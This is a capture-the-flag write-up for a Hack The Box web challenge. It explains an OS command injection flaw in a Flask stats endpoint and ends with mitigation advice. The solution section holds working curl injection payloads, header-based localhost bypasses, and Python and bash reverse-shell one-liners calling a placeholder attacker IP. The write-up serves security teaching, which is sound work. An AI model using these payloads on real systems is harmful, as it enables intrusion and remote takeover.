HTB Hack The Boo Practice: Web Pumpkinspice

Challenge Information

AttributeDetails
EventHack The Boo Practice
CategoryWeb
ChallengeWeb Pumpkinspice
DifficultyVery Easy

Summary

A Flask application provides a statistics endpoint that is supposed to be restricted to localhost access. However, the endpoint contains an OS command injection vulnerability that allows arbitrary command execution. By bypassing the localhost check or exploiting the command injection, an attacker can execute arbitrary system commands and retrieve the flag.


Analysis

The vulnerable Flask application:

@app.route("/api/stats", methods=["GET"])
def stats():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
command = request.args.get("command")
if not command:
return render_template("index.html", message="No command provided")
results = subprocess.check_output(command, shell=True, universal_newlines=True)
return results

Vulnerabilities:

  1. OS Command Injection: The command parameter is directly passed to subprocess.check_output() with shell=True
  2. Weak Localhost Check: The localhost verification can potentially be bypassed
  3. No Input Validation: No sanitization of command input whatsoever
  4. Unrestricted Code Execution: Any system command can be executed with the application’s privileges

Solution

Method 1: Direct Command Injection (if running locally)

If you can run requests from localhost:

Terminal window
curl "http://127.0.0.1:1337/api/stats?command=id"
curl "http://127.0.0.1:1337/api/stats?command=cat%20flag.txt"
curl "http://127.0.0.1:1337/api/stats?command=ls%20-la"

Method 2: Command Chaining

Use shell operators to chain commands:

Terminal window
# Using semicolon (execute multiple commands)
curl "http://target:1337/api/stats?command=whoami;cat%20flag.txt"
# Using pipe (pipe output)
curl "http://target:1337/api/stats?command=id%20|%20cat"
# Using && (conditional execution)
curl "http://target:1337/api/stats?command=id%20&&%20cat%20flag.txt"
# Using backticks or $() for command substitution
curl "http://target:1337/api/stats?command=cat%20\$(find%20/%20-name%20flag.txt%202>/dev/null)"

Method 3: Localhost Bypass (if external)

If the application is behind a proxy or running in a container, try:

Terminal window
# IPv6 loopback
curl "http://[::1]:1337/api/stats?command=cat%20flag.txt"
# X-Forwarded-For header (if proxy trusts it)
curl -H "X-Forwarded-For: 127.0.0.1" "http://target:1337/api/stats?command=cat%20flag.txt"
# X-Real-IP header
curl -H "X-Real-IP: 127.0.0.1" "http://target:1337/api/stats?command=cat%20flag.txt"

Method 4: Using Python

import requests
url = "http://127.0.0.1:1337/api/stats"
# Get the flag directly
params = {"command": "cat flag.txt"}
response = requests.get(url, params=params)
print(response.text)
# Or with command chaining
params = {"command": "pwd; cat flag.txt; id"}
response = requests.get(url, params=params)
print(response.text)

Method 5: Reverse Shell (for full system access)

Create a reverse shell to maintain persistence:

Terminal window
# Python reverse shell
curl "http://127.0.0.1:1337/api/stats?command=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22attacker_ip%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27"
# Bash reverse shell (simpler)
curl "http://127.0.0.1:1337/api/stats?command=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/attacker_ip/4444%200%3E%261%27"

Key Takeaways

  • Never use shell=True with user input - always use parameter arrays
  • Localhost checks are not sufficient security controls
  • Command injection can be prevented by:
    • Using subprocess.run() with a list of arguments (no shell)
    • Implementing strict input validation with allowlists
    • Using shlex.quote() for escaping if shell is needed
  • Example of safe code:
import subprocess
import shlex
# Safe: Using list format without shell
result = subprocess.run(["cat", "flag.txt"], capture_output=True)
# Or with proper escaping (still vulnerable to logic injection, not preferred)
result = subprocess.run(f"cat {shlex.quote(filename)}", shell=True)
  • Always assume that restrictions like localhost checks can be bypassed
  • Implement defense in depth with multiple security layers